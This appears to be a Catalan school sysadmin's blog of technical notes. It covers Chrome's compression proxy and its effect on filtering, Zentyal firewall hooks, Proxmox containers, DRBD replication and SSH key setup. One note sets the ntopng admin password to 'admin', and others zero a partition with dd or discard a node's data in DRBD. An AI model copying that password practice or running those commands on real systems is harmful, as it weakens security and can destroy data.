When Chrome starts with the DCP setting enabled, the DCP is enabled by the user, or a network interface change occurs, Chrome asynchronously issues an in-the-clear HTTP request to the canary URL, http://check.googlezip.net/connect.
There are three possible outcomes of the canary URL request:

If the response status code is 200 and the response body is OK, Chrome uses an encrypted proxy connection for subsequent HTTP requests.
If the response status code is anything other than 200 or the response body is anything other than OK, Chrome uses an unencrypted proxy connection.
If the canary URL request times out or a DNS error occurs, Chrome uses an encrypted proxy connection.

Proxy Bypass

The Chrome DCP issues a proxy bypass response for URLs matching a list of restricted URLs maintained by Google. A proxy bypass causes Chrome to disable the use of SSL for the DCP connection for a short time (randomly chosen between 1 and 5 minutes). Carriers or network administrators can then block or take appropriate action on the request.
Proxy Bypass is used mainly for:

Child sexual abuse material, which includes NCMEC, IWF and other lists used globally by Google for restricting access to such illegal material
URLs subject to court-ordered DMCA and other takedowns on Google services
Country-specific takedown lists, which are applied only to users with IP addresses originating in the associated country
A small number of other sites known not to work well with the DCP (e.g., known carrier billing portal and intranet sites)

més

https://support.opendns.com/hc/en-us/articles/227989047-Chrome-for-Mobile-and-OpenDNS-Inconsistency-with-block-pages

Overview

If you're seeing issues with inconsistent block page issues with Chrome for Mobile, please have your end user disable Chrome's Reduce Data usage feature. As an example, you may see certain pages being blocked in Chrome for Mobile when they are not blocked on another browser on the same mobile device or allowed when unexpected.

When this feature is enabled, all HTTP traffic from Chrome for Mobile gets redirected to a Google proxy at this address: compress.googlezip.net. The proxy then compresses the data and sends it back to the client. Unfortunately, when this happens, the proxy will perform it's own DNS requests against it's own DNS servers, which causes inconsistent block page issues as the DNS services are no longer with OpenDNS.

multiples reports podem trobar

https://www.fastvue.co/sophos/blog/google-data-saver-affect-security-confidentiality-reporting

How Google Data Saver affects web traffic logging and reporting

As you can imagine, Google Data Saver can cause havoc with your reporting as well.
Below are two screenshots from an Activity Report I generated using Fastvue Sophos Reporter to illustrate the effects. The first with Google Data Saver turned off, and the second with Google Data Saver turned on.

Google Data Saver Off

When accessing fastvue.co with Google Data Saver off, the HTTP content is correctly served from fastvue.co and logged and reported appropriately.

Google Data Saver On

With Google Data Saver turned on, all of the individual HTTP requests are gone, and all you see are HTTPS sessions to https://proxy.googlezip.net

Controlling Google Data Saver

Now you understand how Google Data Saver affects your visibility and control over your web traffic, you may be wondering how you can disable it in your network.

COMPROBEM A CASA AMB FIREFOX

http://check.googlezip.net/test.html

Chrome Compression Proxy not detected.
Response headers for the AJAX request to //check.googlezip.net/probe/image.jpg:

Accept-Ranges: bytes
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
access-control-expose-headers: Via, X-Original-Content-Length, Chrome-Proxy
Content-Length: 643
Date: Mon, 10 Sep 2018 07:40:08 GMT
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate
Last-Modified: Thu, 21 Apr 2016 03:17:22 GMT
X-Content-Type-Options: nosniff
Server: sffe
x-xss-protection: 1; mode=block

Navigation timings:

dns: 0
con: 0
req: 34
rcv: 0
ntsrt: 68
nsfs: 2
ntplt0: 128

vull realment que al centre s'utilitzi el proxy per saltar els controls de navegació a google ?

password - contrasenya ntopng

2018-02-11T11:49:00.000+01:00

canvi de la contrasenya de admin de ntopng

posem la contrasenya admin a admin
>echo -n "admin" | md5sum
21232f297a57a5a743894a0e4a801fc3 -
Notice that the -n is mandatory. Without it, your hash will be totally wrong since it includes the newline character

>redis-cli SET ntopng.user.admin.password 21232f297a57a5a743894a0e4a801fc3

comprovem de nou

root@zentyal:/home/ies# redis-cli get ntopng.user.admin.password
"21232f297a57a5a743894a0e4a801fc3"

tinc dos intal·lacions de ntopng en diferents rutes en dos ordinadors amb el mateis so
whereis ntopng
ntopng: /usr/local/bin/ntopng /usr/share/ntopng

whereis ntopng
ntopng: /usr/sbin/ntopng /etc/ntopng.conf /usr/share/ntopng /usr/share/man/man8/ntopng.8.gz

/usr/local/bin/ntopng -i eth0 -i eth4 -w 3001 -L -d &

o
/usr/sbin/ntopng -i eth2 -w 3001 -L -d &

depenent de l'ordinador

reinici serveis zentyal 5.0

2018-01-20T12:11:00.000+01:00

en versió 3.5 feiem
service zentyal firewall restart

ara en versió 5 hem de fer
zs squid restart

recordar que per regla tallafocs personalitzades tenim
/etc/zentyal/hooks/firewall.postservice
i que tenim un
/etc/zentyal/stubs/squid/ per tal de no tocar /usr/share/zentyal/stubs/squid

proxmox montar recurs lxc a l'arrancada

2017-08-06T00:26:00.000+02:00

sobre la proxmox montar en un directore

mount -t nfs 192.168.1.250:/mnt/externovolumen /mnt/bindmounts/shared/

al contenidor lxc 167

pct set 167 -mp0 /mnt/bindmounts/shared/,mp=shared

pct start 167
pct enter 167

root@moodle2ubu16remote:~# mount|grep shared
192.168.1.250:/mnt/externovolumen on /shared type nfs (rw,relatime,vers=3,rsize=131072,wsize=131072,namlen=255,hard,proto=tcp,timeo=600,retrans=2,sec=sys,mountaddr=192.168.1.250,mountvers=3,mountport=740,mountproto=udp,local_lock=none,addr=192.168.1.250)

root@moodle2ubu16remote:~# cd /shared/

root@moodle2ubu16remote:/shared# ls

hola servidorweb

si no està montat al servidor proxmox, en el moment que estigui montat ja està accesible

recomanacions o advertència

The contents of device mount points are not backed up when using vzdump.

rsync port diferent 22

2017-07-24T22:58:00.001+02:00

necessito fer rsync en un port diferent del 22

rsync -avz vzdump-qemu-206-2017_06_27-19_01_53.vma.lzo -e "ssh -p 2201" root@88.88.88.88:/mnt/backup

s'ha d'incloure la opció -e "ssh -p 2201" per indicar el port

he d'enviar un fitxer de 200Gigues i només puc fer-ho per la nit, pel matí afecta a la navegació de la casa, llavors durant 4 nits s'anirà pujant..... donat que recorda el punt on es va quedar en la transferència

template lxc para proxmox

2017-06-27T20:39:00.000+02:00

descargar de

http://download.proxmox.com/images/system/

debian-9.0-standard_9.0-2_amd64.tar.gz

error 0xc0000000e arrancada windows 10

2017-06-24T23:51:00.002+02:00

després de la creació del disc ssd en gpt i veure que aquesta imatge em serviria per les instal·lacions en les màquines i5 pero no en els cores, donat que no té efi per 'entendre l'arrancada' he tingut que fer:

pas amb easeus partition de conversió del disc gpt a mbr, he utilitzat aquesta eina donat que preserva les dades
bcdedit /export per guarda l'arrancada
ren c:/boot/bcd bcd.old
bootrec /rebuilbcd

altres coses he provat pero finalment aquest ha estat la recepta funcional

zentyal , després de reiniciar un servei executar regles post-iptables

2017-06-18T23:46:00.002+02:00

per que una classe determinada tingui unes regles personalitzades en reiniciar el servei de firewall, d'aquesta manera permetem l'accés a steam d'aquesta aula, necessari per un projecte.

/etc/zentyal/hooks/firewall.postservice

#!/bin/bash
#iptables -t nat -I premodules 1 -s 10.1.6.0/24 -p tcp -m tcp --dport 80 -j ACCEPT
#https://support.steampowered.com/kb_article.php?ref=8571-GLVN-8711
#LOG TO STEAM
iptables -I FORWARD 1 -s 10.1.6.0/24 -p tcp --dport 27015:27030 -j ACCEPT
iptables -I FORWARD 1 -s 10.1.6.0/24 -p udp --dport 27015:27030 -j ACCEPT
#STEAM CLIENT
iptables -I FORWARD 1 -s 10.1.6.0/24 -p tcp --dport 27036:27037 -j ACCEPT
iptables -I FORWARD 1 -s 10.1.6.0/24 -p udp --dport 27000:27036 -j ACCEPT
iptables -I FORWARD 1 -s 10.1.6.0/24 -p udp --dport 4380 -j ACCEPT
#LITEN SERVERS
iptables -I FORWARD 1 -s 10.1.6.0/24 -p tcp --dport 27015 -j ACCEPT
#STEAMWORK SP2P
iptables -I FORWARD 1 -s 10.1.6.0/24 -p udp --dport 3478 -j ACCEPT
iptables -I FORWARD 1 -s 10.1.6.0/24 -p udp --dport 4379:4380 -j ACCEPT

proxmox, montar en lxc un recurs nfs

2017-06-18T23:38:00.000+02:00

On the proxmox host

add

mount fstype=nfs,

to

/etc/apparmor.d/lxc/lxc-default-with-mounting

then reload apparmor
service apparmor reload

problemas drbd

2017-06-14T17:20:00.003+02:00

Drbd-problema no aconsegueixo el primary/secondary

drbroot@drbd0heartbeat:~# drbd-overview

0:r0/0 StandAlone Secondary/Unknown UpToDate/DUnknown

root@drbd1heartbeat:~# drbd-overview

0:r0/0 WFConnection Primary/Unknown UpToDate/DUnknown /var/lib/mysql ext4 32G 6.7G 24G 23%

Canvi ordre d’arrancada, reinicio només un d'ells

root@drbd0heartbeat:~# drbd-overview

0:r0/0 StandAlone Primary/Unknown UpToDate/DUnknown /var/lib/mysql ext4 32G 6.6G 24G 23%

ot@drbd1heartbeat:~# drbd-overview

0:r0/0 WFConnection Secondary/Unknown UpToDate/DUnknown

Split brain

root@drbd0heartbeat:~# grep split /var/log/syslog

Jun 14 16:51:58 drbd0heartbeat kernel: [ 6.652069] block drbd0: helper command: /sbin/drbdadm initial-split-brain minor-0

Jun 14 16:51:58 drbd0heartbeat kernel: [ 6.653058] block drbd0: helper command: /sbin/drbdadm initial-split-brain minor-0 exit code 0 (0x0)

Jun 14 16:51:58 drbd0heartbeat kernel: [ 6.653204] block drbd0: helper command: /sbin/drbdadm split-brain minor-0

Jun 14 16:51:58 drbd0heartbeat kernel: [ 6.654109] block drbd0: helper command: /sbin/drbdadm split-brain minor-0 exit code 0 (0x0)

Jun 14 16:54:25 drbd0heartbeat kernel: [ 6.708203] block drbd0: helper command: /sbin/drbdadm initial-split-brain minor-0

Jun 14 16:54:25 drbd0heartbeat kernel: [ 6.709194] block drbd0: helper command: /sbin/drbdadm initial-split-brain minor-0 exit code 0 (0x0)

Jun 14 16:54:25 drbd0heartbeat kernel: [ 6.709339] block drbd0: helper command: /sbin/drbdadm split-brain minor-0

Jun 14 16:54:25 drbd0heartbeat kernel: [ 6.710279] block drbd0: helper command: /sbin/drbdadm split-brain minor-0 exit code 0 (0x0)

Jun 14 16:59:15 drbd0heartbeat kernel: [ 295.508074] block drbd0: helper command: /sbin/drbdadm initial-split-brain minor-0

Jun 14 16:59:15 drbd0heartbeat kernel: [ 295.509099] block drbd0: helper command: /sbin/drbdadm initial-split-brain minor-0 exit code 0 (0x0)

Jun 14 16:59:15 drbd0heartbeat kernel: [ 295.509244] block drbd0: helper command: /sbin/drbdadm split-brain minor-0

Jun 14 16:59:15 drbd0heartbeat kernel: [ 295.510053] block drbd0: helper command: /sbin/drbdadm split-brain minor-0 exit code 0 (0x0)

he probat com diu un enllaç

primary- service mysql stop

secondary drbdadm connect all

secondary cat /proc/drbd

primary drbdadm connect all

primary cat /proc/drbd

primary service mysql start

no ha estat suficient pq entre a funciona ,

AL FINAL HA ESTAT CONTUNDENT - solució

Try following:

On primary node

root@drbd0heartbeat:~# drbdadm connect all

On secondary node

ot@drbd1heartbeat:~# drbdadm -- --discard-my-data connect all

root@drbd1heartbeat:~# cat /proc/drbd

version: 8.4.3 (api:1/proto:86-101)

srcversion: 1A9F77B1CA5FF92235C2213

0: cs:SyncTarget ro:Secondary/Primary ds:Inconsistent/UpToDate C r-----

ns:0 nr:58384 dw:58384 dr:0 al:0 bm:7 lo:1 pe:4 ua:0 ap:0 ep:1 wo:f oos:2611068

[>....................] sync'ed: 2.4% (2611068/2669452)K

finish: 0:00:44 speed: 58,384 (58,384) want: 43,000 K/sec

configuració drbd9 en debian8

2017-05-22T00:49:00.003+02:00

basat en el següent article

https://www.globo.tech/learning-center/setup-drbd-9-ubuntu-16/

CONDICIÓ D'INICI
2 maquines debian8
1 disc /dev/sdb1 secundari per montar el drbd

afegir als dos servidors el reconeixement per nom

root@drbd1:~# more /etc/hosts
127.0.0.1 localhost
# 127.0.1.1 drbd1.ies-sabadell.cat drbd1
192.168.0.180 drbd0.ies.cat drbd0
192.168.0.181 drbd1.ies.cat drbd1

INSTAL·LAR

apt-get update
sudo apt-get install -y drbd8-utils

ACONSEGUIR LA SINCRONITZACIÓ DE TEMPS

apt-get install -y ntp

creació d'una partició del mateix tamany a les dos màquines

fdisk /dev/sdb

n nova partició

p primaria

w write canvis

dd if=/dev/zero of=/dev/sdb1

als dos servidors també creem el recurs r0 associat a la partició creada i tot al fitxer /etc/drbd.conf

root@drbd1:~# more /etc/drbd.conf

# You can find an example in /usr/share/doc/drbd.../drbd.conf.example

# include "drbd.d/global_common.conf";

# include "drbd.d/*.res";

global { usage-count no; }

common { protocol C; }

resource r0 {

on drbd1 {

device /dev/drbd0;

disk /dev/sdb1;

address 192.168.0.181:7788;

meta-disk internal;

}

on drbd0 {

device /dev/drbd0;

disk /dev/sdb1;

address 192.168.0.180:7788;

meta-disk internal;

}

carregar el modul

modprobe drbd

crear el dispositiu mirror

drbdadm create-md r0

Then simply bring the mirror device online with this command.

drbdadm up r0

Per veure l'estat del drbd

drbd-overview cat /etc/drbd

els dos nodes son inicialment secundaris o pasius. Forçar un d'ells a ser primary

drbdadm -- --overwrite-data-of-peer primary r0/0

Finalment formatejar i montar la unitat de disc

sudo mkfs.ext4 /dev/drbd0
sudo mkdir -p /var/www/html
sudo mount /dev/drbd0 /var/www/html

In order to upgrade, do the following:

apt install software-properties-common

then

sudo add-apt-repository ppa:linbit/linbit-drbd9-stack

Finally, perform apt-get update so that Debian will recognize the updated repository. After that, you can run the apt-get upgrade to upgrade DRBD to version 9.

apt-get update
apt-get upgrade

No he aconseguir passar a la versió 9, no em troba drbd per la debian

aquest és l'error

W: No s'ha pogut obtenir http://ppa.launchpad.net/linbit/linbit-drbd9-stack/ubuntu/dists/jessie/main/binary-amd64/Packages 404 Not Found

root@drbd1:~# cat /proc/drbd

version: 8.4.3 (api:1/proto:86-101)

srcversion: 1A9F77B1CA5FF92235C2213

0: cs:Connected ro:Secondary/Primary ds:UpToDate/UpToDate C r-----

ns:0 nr:851152 dw:34403500 dr:0 al:0 bm:286 lo:0 pe:0 ua:0 ap:0 ep:1 wo:f oos:0

SI PARO ARA drbd0

root@drbd1:~# drbd-overview cat /etc/drbd

0:r0/0 WFConnection Secondary/Unknown UpToDate/DUnknown

root@drbd1:~# cat /proc/drbd

version: 8.4.3 (api:1/proto:86-101)

srcversion: 1A9F77B1CA5FF92235C2213

0: cs:WFConnection ro:Secondary/Unknown ds:UpToDate/DUnknown C r-----

ns:0 nr:851152 dw:34403500 dr:0 al:0 bm:286 lo:0 pe:0 ua:0 ap:0 ep:1 wo:f oos:0

SI TORNO A ENCENDRE drbd0

els dos en secundary fins que sincronitzi

root@drbd1:~# drbd-overview cat /etc/drbd

0:r0/0 SyncTarget Secondary/Secondary Inconsistent/UpToDate

[>....................] sync'ed: 0.1% (4944/4944)Mfinish: 0:52:44 speed: 1,260 (1,260) want: 1,360 K/sec

root@drbd1:~# cat /proc/drbd

version: 8.4.3 (api:1/proto:86-101)

srcversion: 1A9F77B1CA5FF92235C2213

0: cs:SyncTarget ro:Secondary/Secondary ds:Inconsistent/UpToDate C r-----

ns:0 nr:857404 dw:34409752 dr:0 al:0 bm:286 lo:0 pe:0 ua:0 ap:0 ep:1 wo:f oos:5058416

[>....................] sync'ed: 0.3% (4936/4944)Mfinish: 0:39:31 speed: 2,084 (2,084) want: 3,040 K/sec

root@drbd1:~#

continua

root@drbd1:~# drbd-overview cat /etc/drbd

0:r0/0 SyncTarget Secondary/Secondary Inconsistent/UpToDate

[============>.......] sync'ed: 65.9% (1688/4944)Mfinish: 0:00:49 speed: 34,856 (25,460) want: 36,920 K/sec

root@drbd1:~# cat /proc/drbd

version: 8.4.3 (api:1/proto:86-101)

srcversion: 1A9F77B1CA5FF92235C2213

0: cs:SyncTarget ro:Secondary/Secondary ds:Inconsistent/UpToDate C r-----

ns:0 nr:4262360 dw:37814708 dr:0 al:0 bm:511 lo:0 pe:0 ua:0 ap:0 ep:1 wo:f oos:1653460

[============>.......] sync'ed: 67.5% (1612/4944)Mfinish: 0:00:46 speed: 35,064 (25,648) want: 38,520 K/sec

se disparó consumo de red y uso de disco

root@drbd1:~# cat /proc/drbd

version: 8.4.3 (api:1/proto:86-101)

srcversion: 1A9F77B1CA5FF92235C2213

0: cs:Connected ro:Secondary/Secondary ds:UpToDate/UpToDate C r-----

ns:0 nr:5915820 dw:39468168 dr:0 al:0 bm:613 lo:0 pe:0 ua:0 ap:0 ep:1 wo:f oos:0

root@drbd1:~# drbd-overview cat /etc/drbd

0:r0/0 Connected Secondary/Secondary UpToDate/UpToDate

MISSATGES DEL SYSLOG

May 22 00:14:48 drbd1 kernel: [83618.112489] block drbd0: helper command: /sbin/drbdadm before-resync-target minor-0

May 22 00:14:48 drbd1 kernel: [83618.113577] block drbd0: helper command: /sbin/drbdadm before-resync-target minor-0 exit code 0 (0x0)

May 22 00:14:48 drbd1 kernel: [83618.113586] block drbd0: conn( WFSyncUUID -> SyncTarget ) disk( Outdated -> Inconsistent )

May 22 00:14:48 drbd1 kernel: [83618.113591] block drbd0: Began resync as SyncTarget (will sync 5064668 KB [1266167 bits set]).

May 22 00:17:01 drbd1 CRON[2464]: (root) CMD ( cd / && run-parts --report /etc/cron.hourly)

May 22 00:17:49 drbd1 kernel: [83800.029781] block drbd0: Resync done (total 181 sec; paused 0 sec; 27980 K/sec)

May 22 00:17:49 drbd1 kernel: [83800.029787] block drbd0: updated UUIDs 716CEB055F69D08C:0000000000000000:82078DA323F1657E:82068DA323F1657F

May 22 00:17:49 drbd1 kernel: [83800.029792] block drbd0: conn( SyncTarget -> Connected ) disk( Inconsistent -> UpToDate )

May 22 00:17:49 drbd1 kernel: [83800.030037] block drbd0: helper command: /sbin/drbdadm after-resync-target minor-0

May 22 00:17:49 drbd1 kernel: [83800.031152] block drbd0: helper command: /sbin/drbdadm after-resync-target minor-0 exit code 0 (0x0)

FINALMENT HE TINGUT QUE FER

root@drbd0:~# mount /dev/drbd0 /var/www/html

mount: /dev/drbd0 is write-protected, mounting read-only

root@drbd0:~# drbdadm -- --overwrite-data-of-peer primary r0

POSAR DRBD0 COM A PRIMARY

root@drbd0:~# cat /proc/drbd

version: 8.4.3 (api:1/proto:86-101)

srcversion: 1A9F77B1CA5FF92235C2213

0: cs:Connected ro:Primary/Secondary ds:UpToDate/UpToDate C r-----

ns:5064668 nr:0 dw:0 dr:5066084 al:0 bm:327 lo:0 pe:0 ua:0 ap:0 ep:1 wo:f oos:0

root@drbd0:~# mount /dev/drbd0 /var/www/html

ja ho puc montar , miro en drbd1

root@drbd1:/var# mount /dev/drbd0 /var/www/html

mount: /dev/drbd0 is write-protected, mounting read-only

com es secondary, només de lectura.

EL SEGÜENT ARTICLE SERÀ , sobre el drbd montarem una ip flotant amb heartbeat

https://www.globo.tech/learning-center/high-availability-heartbeat-drbd-ubuntu-16/

entrar via ssh sin contraseña (clave publica autorizada)

2017-05-21T22:12:00.000+02:00

Generant la clau en parella publica privada

ssh-keygen -t rsa

genera dos fitxers

Clau privada: ~/.ssh/id_rsa
Clau publica: ~/.ssh/id_rsa.pub

afegir la clau generada al servidor

jo abans la renombre

mv id_rsa.pub publicaservidor1.pub

ho envien a l'altre ordinador

scp publicaservidor1.pub @:/home//.ssh/

finalment

dintre de la carpeta .ssh creació del document authorized_keys y le afegim el contingut de ll'arxiu amb la clau pública:

touch authorized_keys

cat id_rsa.pub >> authorized_keys

servidors

Las siguientes firmas no fueron válidas: EXPKEYSIG 11764EE8AC24832F Carsten Boeving

root@ies:~# pct listcan't open '/sys/fs/cgroup/blkio///lxc/.....' - No such file or directory

afegir disc ssd proxmox lmvthin

regla tallafoc a un horari determinat

ies kernel: audit: type=1400 audit(1538480598.585:12): apparmor="DENIED" operation="mount" info="failed mntpnt match" error=-13 profile="/usr/bin/lxc-start" name="/" pid=2180 comm="lxc-start" flags="rw, rslave"

listado de backups del día

WARNING: Sum of all thin volume sizes (932.00 GiB) exceeds the size of thin pool pve/data and the size of whole volume group (931.26 GiB)!

proxmox, error Unable to create new inotify object: Too many open files at /usr/share/perl5/PVE/INotify.pm line 390.

peticions detectades maltrail com a potencia php injection

set service windows 10 and rename

ERROR: Backup of VM 1003 failed – CT is locked (snapshot-delete)

Valoraci{o dels certificats https

Navigation Timing

navigation-timing

Introduction

Web Page Performance Test fories-sabadell.cat

Performance Results (Median Run)

5s

19%

maltrail ofereix aquesta informació

Chrome Data Compression Proxy for Network Administrators, Carriers, and ISPs

Details

Proxy Bypass

més

https://support.opendns.com/hc/en-us/articles/227989047-Chrome-for-Mobile-and-OpenDNS-Inconsistency-with-block-pages

Overview

How Google Data Saver affects web traffic logging and reporting

Google Data Saver Off

Google Data Saver On

Controlling Google Data Saver

password - contrasenya ntopng

reinici serveis zentyal 5.0

proxmox montar recurs lxc a l'arrancada

rsync port diferent 22

template lxc para proxmox

error 0xc0000000e arrancada windows 10

zentyal , després de reiniciar un servei executar regles post-iptables

proxmox, montar en lxc un recurs nfs

problemas drbd

configuració drbd9 en debian8

entrar via ssh sin contraseña (clave publica autorizada)

Web Page Performance Test for
ies-sabadell.cat